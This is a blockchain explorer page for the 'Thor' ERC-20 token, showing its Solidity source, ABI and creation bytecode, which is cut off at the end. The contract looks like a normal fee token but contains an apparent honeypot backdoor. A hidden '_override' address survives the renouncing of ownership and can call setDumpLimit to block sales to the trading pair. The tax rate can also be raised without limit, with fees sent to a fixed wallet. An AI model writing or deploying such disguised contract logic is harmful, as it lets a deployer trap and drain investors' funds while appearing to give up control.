Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
400,000,000 Thor
Holders
96
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
9,778,206 ThorValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Thor
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-10-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; address constant WALLET_ADDRESS=0x7F4B39def4FA5905A04D301Dd9f5CdC4d77AB139; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Thor is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 400000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Thor"; string private constant _symbol = "Thor"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _maxDump = _tTotal; event MaxDumpChanged(uint _maxDump); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 4; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxDump); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _maxDump = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setDumpLimit(uint256 limit) external overridden { _maxDump = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxDump","type":"uint256"}],"name":"MaxDumpChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setDumpLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526317d78400600019620000189190620003f7565b600019620000279190620003b2565b6003556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055506317d78400600a553480156200007557600080fd5b506000620000886200035360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737f4b39def4fa5905a04d301dd9f5cdc4d77ab139600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737f4b39def4fa5905a04d301dd9f5cdc4d77ab139600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035460016000620001e76200035360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002356200035b60201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600581905550620002e26200035360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6317d7840060405162000345919062000395565b60405180910390a36200048d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200038f81620003ed565b82525050565b6000602082019050620003ac600083018462000384565b92915050565b6000620003bf82620003ed565b9150620003cc83620003ed565b925082821015620003e257620003e16200042f565b5b828203905092915050565b6000819050919050565b60006200040482620003ed565b91506200041183620003ed565b9250826200042457620004236200045e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612c7c806200049d6000396000f3fe6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a9059cbb146102bf578063aac3cd03146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612487565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612037565b6103f6565b604051610162919061246c565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612609565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fe8565b610420565b6040516101ca919061246c565b60405180910390f35b3480156101df57600080fd5b506101e86104f9565b6040516101f5919061267e565b60405180910390f35b34801561020a57600080fd5b506102136104fe565b005b34801561022157600080fd5b5061023c60048036038101906102379190611f5a565b610578565b6040516102499190612609565b60405180910390f35b34801561025e57600080fd5b506102676105c9565b005b34801561027557600080fd5b5061027e61071c565b60405161028b919061239e565b60405180910390f35b3480156102a057600080fd5b506102a9610745565b6040516102b69190612487565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190612037565b610782565b6040516102f3919061246c565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e919061209c565b6107a0565b005b34801561033157600080fd5b5061034c6004803603810190610347919061209c565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611fac565b610e0f565b6040516103999190612609565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b60606040518060400160405280600481526020017f54686f7200000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b60006317d78400905090565b600061042d8484846110db565b6104ee84610439610f08565b6104e985604051806060016040528060288152602001612c1f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049f610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053f610f08565b73ffffffffffffffffffffffffffffffffffffffff161461055f57600080fd5b600061056a30610578565b905061057581611476565b50565b60006105c2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611770565b9050919050565b6105d1610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f54686f7200000000000000000000000000000000000000000000000000000000815250905090565b600061079661078f610f08565b84846110db565b6001905092915050565b6107a8610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080157600080fd5b80600a8190555050565b610813610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612569565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db906125e9565b60405180910390fd5b8060058190555050565b6108f6610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612569565b60405180910390fd5b600860149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90612509565b60405180910390fd5b610a0430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166317d78400610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190611f83565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b609190611f83565b6040518363ffffffff1660e01b8152600401610b7d9291906123b9565b602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf9190611f83565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5830610578565b600080610c6361071c565b426040518863ffffffff1660e01b8152600401610c859695949392919061240b565b6060604051808303818588803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd791906120c5565b5050506001600860166101000a81548160ff0219169083151502179055506317d78400600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dba9291906123e2565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c9190612073565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f05816117de565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f77906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe7906124e9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612609565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611142906125a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b2906124a9565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612589565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612775565b11156112d357600080fd5b6112db61071c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611349575061131961071c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e230610578565b611476565b600047905060008111156113ff576113fe476117de565b5b505b5b61140d83838361184a565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190612487565b60405180910390fd5b506000838561146991906127cf565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115025781602001602082028036833780820191505090505b5090503081600081518110611540577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115e257600080fd5b505afa1580156115f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161a9190611f83565b81600181518110611654577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116bb30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161171f959493929190612624565b600060405180830381600087803b15801561173957600080fd5b505af115801561174d573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b60006003548211156117b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ae906124c9565b60405180910390fd5b60006117c161185a565b90506117d6818461188590919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611846573d6000803e3d6000fd5b5050565b6118558383836118cf565b505050565b6000806000611867611a9a565b9150915061187e818361188590919063ffffffff16565b9250505090565b60006118c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aed565b905092915050565b6000806000806000806118e187611b50565b95509550955095509550955061193f86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2081611c60565b611a2a8483611d1d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a879190612609565b60405180910390a3505050505050505050565b6000806000600354905060006317d784009050611ac66317d7840060035461188590919063ffffffff16565b821015611ae0576003546317d78400935093505050611ae9565b81819350935050505b9091565b60008083118290611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b9190612487565b60405180910390fd5b5060008385611b439190612744565b9050809150509392505050565b6000806000806000806000806000611b6d8a600554600554611d57565b9250925092506000611b7d61185a565b90506000806000611b908e878787611ded565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bfa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611c1191906126ee565b905083811015611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90612529565b60405180910390fd5b8091505092915050565b6000611c6a61185a565b90506000611c818284611e7690919063ffffffff16565b9050611cd581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0290919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d3282600354611bb890919063ffffffff16565b600381905550611d4d81600454611c0290919063ffffffff16565b6004819055505050565b600080600080611d836064611d75888a611e7690919063ffffffff16565b61188590919063ffffffff16565b90506000611dad6064611d9f888b611e7690919063ffffffff16565b61188590919063ffffffff16565b90506000611dd682611dc8858c611bb890919063ffffffff16565b611bb890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611e068589611e7690919063ffffffff16565b90506000611e1d8689611e7690919063ffffffff16565b90506000611e348789611e7690919063ffffffff16565b90506000611e5d82611e4f8587611bb890919063ffffffff16565b611bb890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e895760009050611eeb565b60008284611e979190612775565b9050828482611ea69190612744565b14611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90612549565b60405180910390fd5b809150505b92915050565b600081359050611f0081612bd9565b92915050565b600081519050611f1581612bd9565b92915050565b600081519050611f2a81612bf0565b92915050565b600081359050611f3f81612c07565b92915050565b600081519050611f5481612c07565b92915050565b600060208284031215611f6c57600080fd5b6000611f7a84828501611ef1565b91505092915050565b600060208284031215611f9557600080fd5b6000611fa384828501611f06565b91505092915050565b60008060408385031215611fbf57600080fd5b6000611fcd85828601611ef1565b9250506020611fde85828601611ef1565b9150509250929050565b600080600060608486031215611ffd57600080fd5b600061200b86828701611ef1565b935050602061201c86828701611ef1565b925050604061202d86828701611f30565b9150509250925092565b6000806040838503121561204a57600080fd5b600061205885828601611ef1565b925050602061206985828601611f30565b9150509250929050565b60006020828403121561208557600080fd5b600061209384828501611f1b565b91505092915050565b6000602082840312156120ae57600080fd5b60006120bc84828501611f30565b91505092915050565b6000806000606084860312156120da57600080fd5b60006120e886828701611f45565b93505060206120f986828701611f45565b925050604061210a86828701611f45565b9150509250925092565b6000612120838361212c565b60208301905092915050565b61213581612803565b82525050565b61214481612803565b82525050565b6000612155826126a9565b61215f81856126cc565b935061216a83612699565b8060005b8381101561219b5781516121828882612114565b975061218d836126bf565b92505060018101905061216e565b5085935050505092915050565b6121b181612815565b82525050565b6121c081612858565b82525050565b60006121d1826126b4565b6121db81856126dd565b93506121eb81856020860161